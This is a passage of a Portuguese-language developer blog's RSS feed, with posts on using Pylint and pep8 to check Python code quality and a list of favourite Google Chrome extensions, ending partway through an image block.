interessantes sobre o seu projeto. Como o número de &lt;em&gt;warnings&lt;/em&gt; e
&lt;em&gt;errors&lt;/em&gt;, uma nota para o seu projeto (e um comparativo com a execução
anterior do &lt;em&gt;Pylint&lt;/em&gt;), quantidade de código duplicado, quantidade de
código documentado e “desenhará” uma árvore de dependências do seu
projeto.&lt;/p&gt;
&lt;h2&gt;Diminuindo o ruído&lt;/h2&gt;
&lt;p&gt;Eu avisei que o &lt;em&gt;Pylint&lt;/em&gt; era “barulhento”!&lt;/p&gt;
&lt;p&gt;Vamos reduzir um pouco o nível de detalhes da ferramenta, passando
alguns parâmetros:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pylint /usr/lib/python2.7/dist-packages/site.py --reports=n --include-ids=y --disable=W0232&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Primeiro, com o parâmetro &lt;strong&gt;–-reports=n&lt;/strong&gt; dizemos que não queremos
aquele relatório gigantesco no final da análise. O &lt;strong&gt;–-include-ids=y&lt;/strong&gt;
exibe para gente os &lt;em&gt;ids&lt;/em&gt; das mensagens de erros do &lt;em&gt;Pylint&lt;/em&gt;. É útil,
pois todas as mensagens que você julgar desnecessárias para a análise
você adiciona no parâmetro &lt;strong&gt;-–disable&lt;/strong&gt; (separadas por vírgula).&lt;/p&gt;
&lt;p&gt;Para que não seja necessário passar todos esses parâmetros todas as
vezes que executar o &lt;em&gt;Pylint&lt;/em&gt; basta gerar um arquivo &lt;strong&gt;.pylintrc&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pylint --reports=n --include-ids=y --disable=W0232 --generate-rcfile &gt; ~/.pylintrc&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É possível gerar este arquivo por projeto, podendo mudar a
especificidade das métricas de acordo com a necessidade. Quer saber
mais? &lt;a href=&quot;http://www.logilab.org/card/pylint_tutorial&quot; title=&quot;Pylint tutorial&quot;&gt;Leia este tutorial muito bom&lt;/a&gt;, direto da documentação do
&lt;em&gt;Pylint&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para entender os códigos das mensagens, &lt;a href=&quot;http://pylint-messages.wikidot.com/all-codes&quot; title=&quot;Todos os códigos retornados pelo Pylint&quot;&gt;confira a listagem nesta &lt;em&gt;wiki&lt;/em&gt;&lt;/a&gt;,
ou utilize o parâmetro &lt;strong&gt;-–help-msg&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pylint --help-msg=R0904:

R0904: \*Too many public methods (%s/%s)\*
Used when class has too many public methods, try to reduce this to get a more
simple (and so easier to use) class. This message belongs to the design checker.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.logilab.org/857&quot; title=&quot;Obtenha o Pylint gratuitamente&quot;&gt;&lt;em&gt;Pylint: analyzes Python source code looking for bugs and signs of poor quality&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.logilab.org/card/pylint_manual&quot; title=&quot;Leia o manual oficial do Pylint&quot;&gt;&lt;em&gt;Logilab.org: Pylint User Manual&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.logilab.org/card/pylint_tutorial&quot; title=&quot;Leia agora mesmo este excelente tutorial sobre Pylint&quot;&gt;&lt;em&gt;Logilab.org: Pylint Tutorial&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://turbogears.org/1.0/docs/UsingPylint.html&quot; title=&quot;Leia as recomendações de uso do Pylint com TurboGears&quot;&gt;&lt;em&gt;TurboGears Documentation: Using Pylint to improve the quality of your code&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Assegure a qualidade do seu código Python - pep8]]></title><description><![CDATA[Convenções de código! Já tive a oportunidade de escrever sobre elas no Profissionais TI. Benção ou
maldição? Há quem goste, há quem ache uma…]]></description><link>https://klauslaube.com.br/2011/08/26/assegure-qualidade-seu-codigo-python-pep.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/08/26/assegure-qualidade-seu-codigo-python-pep.html</guid><pubDate>Fri, 26 Aug 2011 13:51:00 GMT</pubDate><content:encoded>&lt;p&gt;Convenções de código! Já tive a oportunidade de &lt;a href=&quot;http://www.profissionaisti.com.br/2009/06/codifique-como-um-verdadeiro-pythonista/&quot; title=&quot;Codifique como um verdadeiro Pythonista&quot;&gt;escrever sobre elas no &lt;em&gt;Profissionais TI&lt;/em&gt;&lt;/a&gt;. Benção ou
maldição? Há quem goste, há quem ache uma perda de tempo…&lt;/p&gt;
&lt;p&gt;Acredito muito que a organização e a qualidade do código são benéficas
para qualquer projeto, principalmente para aqueles que possuem alta
rotatividade de profissionais. Padrões de projetos, padrões estruturais
e de escrita facilitam a “assimilação” do que já foi produzido, facilita
a manutenção e “orienta” as novas produções.&lt;/p&gt;
&lt;p&gt;Se você tem problemas em decorar convenções e boas práticas, não
desanime! O &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; possui algumas ferramentas “bacanudas” que vão
te auxiliar a deixar o &lt;em&gt;software&lt;/em&gt; mais próximo do “estado da arte”, seja
garantindo as convenções de código, seja avaliando a qualidade do mesmo.&lt;/p&gt;
&lt;h2&gt;Python Enhancement Proposals&lt;/h2&gt;
&lt;p&gt;As “PEPs“ (&lt;em&gt;Python Enhancement Proposal&lt;/em&gt;) são documentos que geralmente
abordam alguma nova funcionalidade da linguagem, propósitos,
procedimentos ou ambiente. Em suma, são “guidelines” que te orientam num
melhor uso da linguagem e suas funcionalidades, bem como podem ajudar em
questões como arquitetura, ambiente ou processos de sua aplicação.&lt;/p&gt;
&lt;p&gt;Para saber mais sobre &lt;em&gt;PEPs&lt;/em&gt;, acesse a &lt;a href=&quot;http://www.python.org/dev/peps/pep-0001/&quot; title=&quot;PEP1 - PEP Purpose and Guidelines&quot;&gt;&lt;em&gt;PEP 1&lt;/em&gt;&lt;/a&gt; que é justamente um documento
explicando o que são e o que fazem as &lt;em&gt;Python Enhancement Proposals&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;pep8&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;pep8&lt;/em&gt; é uma ferramenta simples (e muito eficaz) que analisa o seu
código &lt;em&gt;Python&lt;/em&gt; segundo as convenções de código descritas na
&lt;a href=&quot;http://www.python.org/dev/peps/pep-0008/&quot; title=&quot;PEP 8 - Style Guide for Python Code&quot;&gt;&lt;em&gt;PEP 8&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Vamos analisar o código do &lt;a href=&quot;https://github.com/djangobrasil/djangobrasil.org&quot; title=&quot;Repositório no GitHub do site do Django no Brasil&quot;&gt;&lt;em&gt;Django Brasil&lt;/em&gt;&lt;/a&gt; (você não sabia? O site é
&lt;em&gt;open source&lt;/em&gt;!), mais especificamente o arquivo &lt;strong&gt;models.py&lt;/strong&gt; da &lt;em&gt;app&lt;/em&gt;
&lt;strong&gt;blog&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pep8 src/djangobrasil/apps/blog/models.py

src/djangobrasil/apps/blog/models.py:42:65: W291 trailing whitespace
src/djangobrasil/apps/blog/models.py:62:1: E302 expected 2 blank lines, found 1
src/djangobrasil/apps/blog/models.py:105:80: E501 line too long (89 characters)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como podemos ver, a ferramenta nos mostra a linha e coluna onde o
problema foi encontrado, apresentando uma breve descrição da incoerência
que estamos cometendo em relação às recomendações da
&lt;em&gt;PEP 8&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para obter uma resposta mais “verbose“, podemos passar alguns parâmetros
para o &lt;code class=&quot;language-text&quot;&gt;pep8&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pep8 src/djangobrasil/apps/blog/models.py --show-source --show-pep8&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Viu só?! Dessa forma podemos aprender sobre a &lt;em&gt;PEP 8&lt;/em&gt; enquanto “ferimos” as
convenções de código em nossos projetos :D&lt;/p&gt;
&lt;p&gt;Para finalizar, podemos contar as ocorrências de problemas com a
&lt;em&gt;PEP 8&lt;/em&gt; em determinada região do projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pep8 src/djangobrasil/apps/blog/ --statistics -qq --filename=*.py

1       E225 missing whitespace around operator
7       E302 expected 2 blank lines, found 1
1       E303 too many blank lines (2)
11      E501 line too long (89 characters)
4       W291 trailing whitespace
2       W391 blank line at end of file&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Nenhum problema muito grave de convenções de código na &lt;em&gt;app blog&lt;/em&gt; do
&lt;em&gt;DjangoBrasil&lt;/em&gt; ;)&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://github.com/jcrocholl/pep8/&quot; title=&quot;Repositório no GitHub do pep8&quot;&gt;&lt;em&gt;pep8 – Python style guide checker&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.python.org/dev/peps/&quot; title=&quot;Conheça os tipos de PEPs e quais os seus propósitos&quot;&gt;&lt;em&gt;Python.org – Index of Python Enhancement Proposals (PEPs)&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.python.org/dev/peps/pep-0001/&quot; title=&quot;Saiba o que é, o que faz, e como é feita uma PEP&quot;&gt;&lt;em&gt;Python.org – PEP 1: Purpose and Guidelines&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.python.org/dev/peps/pep-0008/&quot; title=&quot;Conheça as convenções de código Python&quot;&gt;&lt;em&gt;Python.org – PEP 8: Style Guide for Python Code&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.vivaolinux.com.br/artigo/PEP-8-Guia-de-estilo-para-codigo-Python&quot; title=&quot;Artigo do Viva o Linux que é uma adaptação para o Português da PEP 8&quot;&gt;&lt;em&gt;Viva o Linux&lt;/em&gt; – &lt;em&gt;PEP 8&lt;/em&gt;: Guia de estilo para código &lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jcrocholl/pep8/&quot; title=&quot;Repositório no GitHub do projeto pep8&quot;&gt;&lt;em&gt;GitHub – pep8&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nos próximos &lt;em&gt;posts&lt;/em&gt;, vamos dar uma pincelada no &lt;em&gt;pylint&lt;/em&gt;, &lt;em&gt;pyflakes&lt;/em&gt; e
&lt;em&gt;clone digger&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Minhas extensões favoritas do Google Chrome]]></title><description><![CDATA[O Google Chrome há muito já provou ser um fantástico navegador, me
fazendo largar o Firefox já na sua primeira semana de lançamento
(olha…]]></description><link>https://klauslaube.com.br/2011/08/09/minhas-extensoes-favoritas-google-chrome.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/08/09/minhas-extensoes-favoritas-google-chrome.html</guid><pubDate>Tue, 09 Aug 2011 23:17:00 GMT</pubDate><content:encoded>&lt;p&gt;O &lt;a href=&quot;http://www.google.com/chrome?hl=pt-BR&quot; title=&quot;Um navegador novo e mais rápido&quot;&gt;&lt;em&gt;Google Chrome&lt;/em&gt;&lt;/a&gt; há muito já provou ser um fantástico navegador, me
fazendo largar o &lt;a href=&quot;http://br.mozdev.org/&quot; title=&quot;Navegue com segurança e eficiência&quot;&gt;&lt;em&gt;Firefox&lt;/em&gt;&lt;/a&gt; já na sua primeira semana de lançamento
(olha que eu ainda usava &lt;em&gt;Windows&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Hoje é um dos navegadores mais rápidos, seguros, com uma usabilidade
impressionante e que suporta mais recursos da &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML5&quot;&gt;&lt;em&gt;HTML5&lt;/em&gt;&lt;/a&gt; (obrigado &lt;em&gt;Webkit&lt;/em&gt; ;)).
Portanto, motivos para usá-lo não faltam (mesmo depois do lançamento do &lt;em&gt;Firefox 5&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Venho utilizando alguns &lt;em&gt;add-ons&lt;/em&gt; que me fizeram esquecer rapidamente do &lt;em&gt;Firefox&lt;/em&gt;.
Aqui vai a lista dos meus preferidos:&lt;/p&gt;
&lt;h2&gt;Android SDK Reference Search&lt;/h2&gt;
&lt;p&gt;Para quem está trabalhando com &lt;a href=&quot;http://www.android.com/&quot; title=&quot;Conheça a plataforma Android&quot;&gt;&lt;em&gt;Android&lt;/em&gt;&lt;/a&gt;, este &lt;em&gt;add-on&lt;/em&gt; pode ser muito
interessante.&lt;/p&gt;
&lt;p&gt;Após instalá-lo, você poderá pesquisar as referências da &lt;em&gt;SDK&lt;/em&gt; do &lt;em&gt;Android&lt;/em&gt;
através da sua barra de endereço. Utilizando o prefixo “&lt;em&gt;ad&lt;/em&gt;“, você pode fazer
pesquisas sobre a &lt;em&gt;SDK&lt;/em&gt; da plataforma com muito mais facilidade.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/hgcbffeicehlpmgmnhnkjbjoldkfhoin&quot; title=&quot;Android SDK Reference&quot;&gt;&lt;em&gt;Android SDK Reference na Chrome Web Store&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;BuiltWith Technology Profiler&lt;/h2&gt;
&lt;p&gt;Este &lt;em&gt;add-on&lt;/em&gt; exibe as principais tecnologias utilizadas por um website,
podendo dar informações mais básicas, como se o website utiliza o
&lt;em&gt;Google Analytics&lt;/em&gt;, até informações mais “obscuras”, como a linguagem de
programação e o servidor &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; utilizado pelo &lt;em&gt;host&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/dapjbgnjinbpoindlpdmhochffioedbn&quot; title=&quot;BuiltWith Technology Profiler&quot;&gt;&lt;em&gt;BuiltWith Technology Profiler&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Chrome Sniffer&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 410px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/a886dad06428f7f384c624953eaf7b43/d68e4/chrome-sniffer-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 48.958333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABm0lEQVQoz6WRSU/CUBSF+W/uXIiJif9GExcSFg4QTYwxCBIKiBIpAS0BKZhURUm1FRGRAmJFFGToAG1fX+vrwujCnV/u5px7zxtthmHq8KeQRPx2UCH+HLOZ/8BW7Sg4LSQZIXMvEXci96ECaOK3cvhKPKDlfVpJMDKAxsObGioIh0UhzioxRkPSCouK8dzTugLMVQf4zUe7N0anKre125bCPHavi/XcwwjoxkCG5ddxowuy1zUsWeD7AF3FJoqSMpnoADz3BLrKN1/e0ZKq8AkhMOWR2nyq1Xmo67IkjccyarWaHJnL852+tXOpVO5C4+pV4j41lmXjRMaUe5WlKaXPm8OByrGccxoO2+ns2TnNVt4GGZIiCMLn81nhXY/HHwynsvnUaW7b48UTSVEYzc/NBiLRfJ4KYBH7jH00HO75/W63ez8SwbDg4uKC0+m0wiRJena9J6l0PHEcjcW5ekPRwHYIX9na2/CGV3ewzcCRpsPLi4vlZcf62prL5XI4HBRF/furIETPocNvDAsTOUD/Ac2hFvgFksj8AmwUEtA23218AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo do Chrome Sniffer&amp;quot;&quot;
        title=&quot;Exemplo do Chrome Sniffer&quot;
        src=&quot;/static/a886dad06428f7f384c624953eaf7b43/d68e4/chrome-sniffer-example.png&quot;
        srcset=&quot;/static/a886dad06428f7f384c624953eaf7b43/8514f/chrome-sniffer-example.png 192w,
/static/a886dad06428f7f384c624953eaf7b43/804b2/chrome-sniffer-example.png 384w,
/static/a886dad06428f7f384c624953eaf7b43/d68e4/chrome-sniffer-example.png 410w&quot;
        sizes=&quot;(max-width: 410px) 100vw, 410px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo do Chrome Sniffer&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Chrome Sniffer&lt;/em&gt; traz informações mais específicas que o
&lt;em&gt;BuiltWith Technology&lt;/em&gt;. Por exemplo, através dele sabemos que o website da
&lt;em&gt;Band&lt;/em&gt; utiliza &lt;em&gt;&lt;a href=&quot;http://jquery.com/&quot; title=&quot;Write less, do more&quot;&gt;jQuery&lt;/a&gt; 1.6&lt;/em&gt;, &lt;em&gt;&lt;a href=&quot;http://www.modernizr.com/&quot; title=&quot;Front-end development done right&quot;&gt;Modernizr&lt;/a&gt; 1.7&lt;/em&gt; e &lt;em&gt;Google Analytics&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Outro site interessante para avaliarmos é o &lt;a href=&quot;http://www.joomla.org/&quot; title=&quot;Um dos CMS mais famosos do mundo&quot;&gt;&lt;em&gt;Joomla.org&lt;/em&gt;&lt;/a&gt;, que utiliza o
&lt;em&gt;CMS Joomla!&lt;/em&gt;, &lt;em&gt;Google Analytics&lt;/em&gt; e &lt;em&gt;&lt;a href=&quot;http://mootools.net/&quot; title=&quot;A compact Javascript framework&quot;&gt;Mootools&lt;/a&gt; 1.12&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/homgcnaoacgigpkkljjjekpignblkeae&quot; title=&quot;Chrome Sniffer&quot;&gt;&lt;em&gt;Chrome Sniffer&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Delicious Tools&lt;/h2&gt;
&lt;p&gt;E para quem utiliza o &lt;a href=&quot;http://www.delicious.com/&quot; title=&quot;Conheça o Delicious&quot;&gt;&lt;em&gt;Delicious&lt;/em&gt;&lt;/a&gt; como &lt;em&gt;bookmark online&lt;/em&gt;, eu recomendo
o &lt;em&gt;Delicious Tools&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;É um dos &lt;em&gt;add-ons&lt;/em&gt; que eu mais utilizo no dia-a-dia. Ele permite que você
adicione links ao seu &lt;em&gt;Delicious&lt;/em&gt; de forma muito prática e rápida. Fica a
dica para você que gosta de armazenar um grande número de &lt;em&gt;urls&lt;/em&gt; em seus
favoritos.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/gclkcflnjahgejhappicbhcpllkpakej&quot; title=&quot;Delicious Tools&quot;&gt;&lt;em&gt;Delicious Tools&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Eye Dropper&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 160px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/718d65ffdc4d02e6546366a3f934f337/69538/eyedropper.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 68.75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAADzElEQVQ4y32TfWxTVRjGD0j8w/gRP6YsC0QTiXZIRmKYxuiMAhmM4DRRwYSAiYnotm5TcQlbnMSAH8DCysyIxGHiInEgDtjiGLCPDHqXQbG9l/V2XUu/7lfX3ntburW7Zbfn8TJN/Evfk1/e57wnOXlz3ucQn883ajHO87wzEJhmwqEgE/BPMZFwkAkGphjeyzHeSZZh3W6G83gYjwXrcVvZzbAsu8hijWWdk1YQRZEhiiIEUYKsJKDpGSTVWehpA3JiFoKSQSSmIyRJuCUKEGICYoJkISIUCiESiSAWiyEcDi9qklTVrK4lC2lNMFNx3tTFcVOPDpp6sMdMTXeZKW+bmY7+YKrDl8ys66Y57rpitn+7xxy62GvOzs6ZYjRq+nnelCXJVFW1YHUYNxJxAbrioVr4PHTeAf2GHfrVKmiXbdB674E2UYR000ksOAIYG9uLcy0Ezp53oWby8AsRuKZ8iMoyFEWBdaFisB4XONcg5ZifwY18A+5CDbizW8Gdeh6eE0WYvrgC7i9D8H0PaDNdSA6VQ/MdhuyPItJ9Eje+Pgznr6cRTyRAJEky/ug/i/Nnumhfz0H0dX+Kvh+3o6+zAn3tNvQeeBDXuotx8KsgjnXMQUvH4JwIQJiZxQw7BPXoZoy9twzHajdBkGdABFE0OjuP4sihVur4rgGO/TvgaN2E9uYX4fj8KRyquw9n9i3HF8MRHHHnoUen4PVNIhyKYkoeRm98K/ZdfQiftK0HP+kHsSZkNDV9htqPdtL63W/D/sFG2HeVw77DhvrtxfjwrWVoe38FWqQhOAw/DDGBW7EIkpYjRuRxVMv1ePRKOcpbN+A6cw3EGrWxbds7qNxYQbdUvoSqDWWoeu1pVFUUY8srD2P9OoK6zTa0RlrQmT2O2+E0/uTc1lvOYNSyzxtWV4+fG0BpTR2GBi+AWP4xKipexurSVXTtmlUoW70SZbblKHv2Eax95gHYniSoXPccLol7wN3pQGxag5efREpPYnRcwZsfSyh5YQIrS3ej9/dTIMFg0CgqegyEELp0CcESQu7qxbz0H/1ESQkC/U2Y83RCUuehSCJSGR2ByyIGXg+i4/4RvHpvNbp+Og5i/RKjubkFdrudNjY20saGhn+x9vbaGtqy/wAV+3+j6vAADQgSDfqnaVxN0IQrRNW9w5StPkF/2dlK/dcnKMnNZw38HRT/E3nreL5gIm/kYORzyOXmkDOymCtkkcM8Fqx1ZyEPImveXDzFQ9a9BeW/SPGFRNpXSNy2yPgXax5+tODxjRU4C/fN0QJr5bv8BV6VVnPDU72RAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Plugin Eyer Dropper&amp;quot;&quot;
        title=&quot;Plugin Eyer Dropper&quot;
        src=&quot;/static/718d65ffdc4d02e6546366a3f934f337/69538/eyedropper.png&quot;
        srcset=&quot;/static/718d65ffdc4d02e6546366a3f934f337/69538/eyedropper.png 160w&quot;
        sizes=&quot;(max-width: 160px) 100vw, 160px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Plugin Eyer Dropper&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E quando estamos desenvolvendo algum &lt;em&gt;website&lt;/em&gt; e bate aquela dúvida em relação
a cores? O &lt;em&gt;Eye Dropper&lt;/em&gt; facilita a nossa vida!&lt;/p&gt;
&lt;p&gt;Ele é um “conta gotas”, que permite que você capture cores diretamente no
seu navegador, sem precisar utilizar ferramentas gráficas como &lt;a href=&quot;http://www.gimp.org/&quot; title=&quot;The GNU Image Manipulator&quot;&gt;&lt;em&gt;Gimp&lt;/em&gt;&lt;/a&gt; ou
&lt;a href=&quot;http://www.adobe.com/products/photoshop.html&quot; title=&quot;A ferramenta gráfica mais popular no mundo&quot;&gt;&lt;em&gt;Photoshop&lt;/em&gt;&lt;/a&gt;. Excelente para aqueles momentos em que estamos focados na
construção de estilos de nossos projetos.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/hmdcmlfkchdmnmnmheododdhjedfccka&quot; title=&quot;Eye Dropper&quot;&gt;&lt;em&gt;Eye Dropper&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Google Mail Checker&lt;/h2&gt;
&lt;p&gt;Se você tem a irritante mania de verificar os seus &lt;em&gt;e-mails&lt;/em&gt; de 5 em 5 minutos,
o &lt;em&gt;Google Mail Checker&lt;/em&gt; pode ser de grande utilidade.&lt;/p&gt;
&lt;p&gt;Este &lt;em&gt;add-on&lt;/em&gt; exibe quantos &lt;em&gt;e-mails&lt;/em&gt; não lidos você tem em sua caixa de
entrada. Um santo remédio para curar essa “síndrome da caixa de entrada”, não?&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/mihcahmgecmbnbcchbopgniflfhgnkff&quot; title=&quot;Google Mail Checker&quot;&gt;&lt;em&gt;Google Mail Checker&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Google Reader Notifier&lt;/h2&gt;
&lt;p&gt;Este &lt;em&gt;add-on&lt;/em&gt; produzido pela &lt;em&gt;Google&lt;/em&gt; tem uma finalidade semelhante ao
do &lt;em&gt;Google Mail Checker&lt;/em&gt;, só que ao invés de notificar quantos &lt;em&gt;e-mails&lt;/em&gt; você
têm para ler, ele notifica quantas entradas novas você têm no &lt;em&gt;Google Reader&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Outro grande &lt;em&gt;add-on&lt;/em&gt; para você que não tem tempo a perder.&lt;/p&gt;
&lt;p&gt;Confira: &lt;a href=&quot;https://chrome.google.com/webstore/detail/apflmjolhbonpkbkooiamcnenbmbjcbf&quot; title=&quot;Google Reader Notifier&quot;&gt;&lt;em&gt;Google Reader Notifier&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;HTML5 Powered&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 150px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/73680f9f9d291816c82c37a47c10f5b0/8a4e8/html5-powered.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
